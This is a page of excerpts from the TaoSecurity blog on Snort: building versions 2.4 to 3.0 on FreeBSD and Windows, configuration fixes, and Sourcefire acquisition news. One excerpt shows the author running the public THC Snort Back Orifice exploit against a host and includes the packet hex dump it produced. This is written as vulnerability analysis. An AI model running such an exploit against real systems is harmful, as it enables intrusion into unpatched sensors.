TaoSecurity Blog

For the past few days I've been playing with alpha code for Snort 3.0 , recently announced . One of the most interesting aspects of Snort 3.0 is the fact that operation is controlled by a Lua interpreter. It's a little like logging into a Cisco router and it's going to change the way everyone uses and interacts with Snort. I tested snort-03.0.0.a1.4 on a FreeBSD box 6.x box with the lua-5.1.1_2 package installed. I compiled it: $ ./configure --with-lua-includes=/usr/local/include/lua51/ --with-lua-libraries=/usr/local/lib/lua51/ --prefix=/usr/local/snort-03.0.0.a1.4/ $ make $ make install The alpha code does not have a detection engine yet. It's like the original Snort -- it's only a packet decoder. I thought you might like to see what it looks like when Snort 3.0 decodes IPv6 packets. I'm using this IPv6-only FreeBSD scenario . When you start Snort, it activates but does nothing until you tell it. cel433:/usr/local/snort-03.0.0.a1.4/bin# ./snort [*] DA...

Saad Kadhi kindly pointed me to this blog post which summarizes a talk given by Marty Roesch. Saad describes Marty's plans for Snort 3.0, and I recommend taking a look.

Bill Brenner published this quote in his story Sourcefire IPO could fuel Snort, users say : The infrastructure to support Snort isn't cheap and Sourcefire isn't flush with cash, said Richard Bejtlich, founder of the Washington, D.C.-based consultancy Tao Security. "The money to keep Snort thriving has to come from somewhere, and an IPO could give Snort more legs," he said. I based this thought on the following from Sourcefire's S-1, listed under Risks Related to Our Business: We have incurred operating losses each year since our inception in 2001. Our net loss was approximately $10.5 million for the year ended December 31, 2004, $5.5 million for the year ended December 31, 2005 and $2.9 million for the nine months ended September 30, 2006. Our accumulated deficit as of September 30, 2006 is approximately $40.3 million. It looks like Sourcefire's losses are narrowing, which points to future profitability. My point is that development of Snort and associated ...

You may have read that Snort 2.6.0 is in the FreeBSD ports tree now. I installed the package this morning and learned there is a problem with the specification for the dynamic components. Specifically, from snort.conf: dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/ ... dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so FreeBSD does not use this structure. Change those entries to: dynamicpreprocessor directory /usr/local/lib/snort/dynamicpreprocessor/ ... dynamicengine /usr/local/lib/snort/dynamicengine/libsf_engine.so You can also pass the necessary locations via the command line. I've submitted a FreeBSD PR .

I've been working with Snort 2.6.0 on FreeBSD. When you look at the snort.conf you'll see a bunch of rules commented out. # include $RULE_PATH/web-attacks.rules # include $RULE_PATH/backdoor.rules # include $RULE_PATH/shellcode.rules # include $RULE_PATH/policy.rules # include $RULE_PATH/porn.rules # include $RULE_PATH/info.rules # include $RULE_PATH/icmp-info.rules # include $RULE_PATH/virus.rules # include $RULE_PATH/chat.rules # include $RULE_PATH/multimedia.rules # include $RULE_PATH/p2p.rules # include $RULE_PATH/spyware-put.rules When you start Snort you'll see it uses much more memory compared to earlier versions. 654 root 1 -58 0 248M 247M bpf 0 0:01 3.30% snort If this is too much, and you are willing to sacrifice Snort performance, you can enable the following in snort.conf: config detection: search-method lowmem This results in less memory usage. 656 root 1 -58 0 39800K 39128K bpf 0 0:01 0.00% snort With this option enabled...

The FreeBSD security/snort port now offers 2.6.0. Just run portsnap fetch && portsnap update and you're ready. I'm not sure if/when Snort 2.6.0.1 will be added to the ports tree. I haven't tried 2.6.1 Beta, yet.

I've talked about Snort 2.6 twice before . I wanted to give 2.6 a try using the FreeBSD ports tree, but the security/snort port still offers only 2.4.5. I looked for a problem report and found this one . It provided patches against the 2.4.5 port for 2.6.0. I decided to duplicate the /usr/ports/security/snort directory as /usr/ports/security/snort-2.6, and create Makefile.patch, distinfo.patch, and pkg-plist.patch files using the information in the PR. Next I patched each of the 2.4.5 files. orr:/usr/ports/security/snort-2.6# patch -p0 Hmm... Looks like a unified diff to me... The text leading up to this was: -------------------------- |--- /usr/ports/security/snort/Makefile Sat Jun 10 13:26:30 2006 |+++ ./snort/Makefile Thu Jul 6 17:34:13 2006 -------------------------- Patching file /usr/ports/security/snort/Makefile using Plan A... Hunk #1 succeeded at 6. Hunk #2 succeeded at 15. Hunk #3 succeeded at 38. Hunk #4 succeeded at 46. Hunk #5 succeeded at 110. done orr:/usr...

On my flights to and from the GFIRST 2006 conference this week, I got a chance to read the manual for Snort 2.6.0RC1 . The most obvious addition to Snort 2.6 is the ability to add preprocessors, detection capabilities, and rules as dynamically loadable modules. This feature is activated by running configure with the --enable-dynamicplugin switch. Preprocessors and detection capabilities are more of an issue for Snort developers, since few Snort users code their own features. The advantage of the dynamic engine is that developers can write their own modules without having to patch Snort itself. Most Snort users customize Snort by writing their own rules. Beginning with Snort 2.6.0RC1, the new C-style rule language is in place. If you read the snort_manual.pdf included with snort-2.6.0RC1.tar.gz, you will see a discussion of the new format starting in section 5.1.5 (Dynamic Rules). Here is an example of a rule in the old format: alert tcp $HOME_NET 12345:12346 -> $EXTERNAL_NET...

According to Sourcefire's press release : Sourcefire, Inc., the world leader in intrusion prevention, today announced that, with the consent of the US government, Sourcefire and Check Point Software Technologies have opted to withdraw their merger filing with the Committee on Foreign Investment in the United States (CFIUS). Sourcefire will continue to operate as the industry's largest private Intrusion Prevention System (IPS) vendor. According to Check Point's press release : The companies have determined that it would be more effective to create a customer focused business partnership. "We've decided to pursue alternative ways for Check Point and Sourcefire to partner in order to bring to market the most comprehensive security solutions," said Gil Shwed, Check Point's CEO. Check Point and Sourcefire will continue to create and distribute the best security solutions in their respective spaces. They will work together on formulating a partnership strategy...

This week Sourcefire released Snort 2.4.4 and Snort 2.6 BETA . Because the a ports tree freeze is in effect in preparation for FreeBSD 5.5 and 6.1, the Snort port will not be updated to 2.4.4 soon. If you want to install 2.4.4 using the ports tree, make the following changes to /usr/ports/security/snort/Makefile: orr:/usr/ports/security/snort$ diff Makefile.orig Makefile 9,10c9,10 --- > PORTVERSION= 2.4.4 > #PORTREVISION= 1 Make these changes to distinfo: orr:/usr/ports/security/snort$ diff distinfo.orig distinfo 1,6c1,3 --- > MD5 (snort-2.4.4.tar.gz) = fe82febd153e121369788b3aaa05d415 > SHA256 (snort-2.4.4.tar.gz) = 9d34822e68d6c5bfd98c41f14bf9185424691824b220d70366c40f0477e9d9a7 > SIZE (snort-2.4.4.tar.gz) = 2825060 You can then build the port with 'make', 'make install', and end up running Snort 2.4.4.: $ snort -V ,,_ -*> Snort! o" )~ Version 2.4.4 (Build 28) '''' By Martin Roesch & The Snort ...

Based on a friend's tip, I found myself looking for this press release , which reads in part: Check Point ® Software Technologies Ltd. (NASDAQ: CHKP), the world leader in securing the Internet, received notice its pending acquisition of Sourcefire ®, Inc. has moved into the investigative stage with the Committee on Foreign Investment in the United States ("CFIUS"). In order to clear the transaction with the United States Government, Check Point submitted two regulatory applications. Check Point received U.S. anti-trust approval and was advised that CFIUS would continue reviewing the application during a 45-day investigative period... Pursuant to the Exon-Florio legislation, CFIUS reviews proposed foreign acquisitions of U.S. companies in order to protect national security while maintaining the credibility of the United States open investment policy. The Exon-Florio legislation provides for a 30-day review following notification of a potential acquisition. CFIUS has the ...

The folks at Sourcefire have done the analyst community a great service by posting traffic captures of CME-24 , aka "BlackWorm". Kudos also to the Common Malware Enumeration project for providing an easy way to reference malware! Once OpenPacket.org gets going, I hope to host these sorts of captures there. Update : Check out this Sourcefire VRT analysis .

My friend David Bianco is organizing a Hampton Roads, VA Snort Users Group . The first meeting will be 1 December 2005. Check out the story for more details!

As I expected, FrSIRT published an exploit for the Snort Back Orifice vulnerability discovered last week. I was able to compile and execute this code by RD of THC.org on FreeBSD 5.4. orr:/home/richard$ ./THCsnortbo 66.93.110.10 1 Snort BackOrifice PING exploit (version 0.3) by rd@thc.org Selected target: 1 | manual testing gcc with -O0 Sending exploit to 66.93.110.10 Done. orr:/home/richard$ ./THCsnortbo 66.93.110.10 2 Snort BackOrifice PING exploit (version 0.3) by rd@thc.org Selected target: 2 | manual testing gcc with -O2 Sending exploit to 66.93.110.10 Done. Here is what the traffic looks like: 09:30:36.134739 IP 192.168.2.5.56292 > 66.93.110.10.53: 52835 updateD ServFail [5863q][|domain] 0x0000: 4500 0594 0bdb 0000 4011 f669 c0a8 0205 E.......@..i.... 0x0010: 425d 6e0a dbe4 0035 0580 9592 ce63 d1d2 B]n....5.....c.. 0x0020: 16e7 13cf d45a 5a79 4d8a b466 aaa2 c875 .....ZZyM..f...u 0x0030: 2309 78b2 e0d4 ef49 8a8e 39e5 aa8a 4d0d #....

This week we learned via an advisory of a vulnerability in the Back Orifice preprocessor in Snort version 2.4.2, 2.4.1, and 2.4.0. The vulnerability was discovered by another ISS X-Force researcher . I bet (but have no inside knowledge) that he was following the same marching orders that Mike Lynn received: find vulnerabilities in competitors' products. Mike looked at Cisco, and Neel Mehta looked at Sourcefire's Snort. I am sure ISS is still bitter over the Witty worm that revealed the installed ISS RealSecure and BlackIce userbase to be about 12,000 systems. The Witty worm spread via a single UDP packet with a fixed source port of 4000 UDP. Let's consider the factors that lead me to believe that the Snort BO vulnerability will produce a worm. The new vulnerability can be exploited by a specially crafted UDP packet to or from any port other than port 31337. (Thanks to Jose Nazario for correcting me on this point.) This is similar to the UDP packet used by Witty...

Eric B. Parizo mentioned me in his story Snort users fear future under Check Point . One of the quotes appears as follows: Richard Bejtlich, principal with Washington, D.C.-based consultancy Tao Security, said many fail to realize just how expensive it is to support a product like Snort. "I've been to Sourcefire, and I've seen how many people they have working on the product and on signatures," Bejtlich said. "They have what seems like millions and millions of racks of equipment. I was surprised they were able to continue with Snort as they did." That should say "millions and millions of dollars of racks of equipment." I obviously haven't seen millions of racks of anything when I visit Sourcefire! Also, I appear to have been demoted at my own company. I am not a "principle" at TaoSecurity . My boss must be upset with my performance! :)

This was a busy week for me; I spent all week teaching (and all last week preparing) a private Network Security Operations class in California. I just flew back from LAX to Dulles this morning and I get on another plane tomorrow afternoon. I'm speaking in San Jose at a Cisco event, and then teaching a second private NSO class again next week. I've been tracking all of the week's security news. Thank you to those who thought I may have missed something. I didn't want to commit any thoughts to the blog without taking some time to ponder various events. Obviously the biggest news of the week was Checkpoint 's $225 million acquisition of Sourcefire . In short, I didn't see that coming. I have doubts about the future of Snort being a free product, let alone open source. I don't see anyone making the case to the board of a publicly traded company that part of that company's work is going to be given away for free, especially after spending $225 mill...

Newsflash: compiling Snort on Windows is not the chore some people believe it to be. After reading my flailing attempt to use a beta Visual Studio to compile Snort 2.4.1 from source on my Windows 2000 laptop, John Ward stepped in and got the job done. John's a professionall programmer, but anyone who uses his approach will have the same results. Thanks for stepping up to the plate!

Many of you have undoubtedly read the snort-users thread where some people complain about not having Snort in compiled form as soon as Sourcefire releases Snort in source code form. Sourcefire released Snort 2.4.1, a vulnerability bug fix, on Friday. They only released an updated snort-2.4.1.tar.gz archive. There were no Linux RPMs or Win32 installation packages. I decided to learn what was involved with compiling Snort on Windows. Right now I will say I did not finish the job. I am not a Windows programmer. I do not use Windows as a software development platform. Today was the first day I used the tools I describe below. The purpose of this post is to demonstrate that compiling Snort on Windows is not rocket science. First, notice the snort-2.4.1.tar.gz archive has a src\win32 directory with these contents: Makefile.in WIN32-Code WIN32-Includes WIN32-Prj WIN32-Libraries Makefile.am This looks promising. Let's see the contents of the WIN32-Prj directory. snort_installer....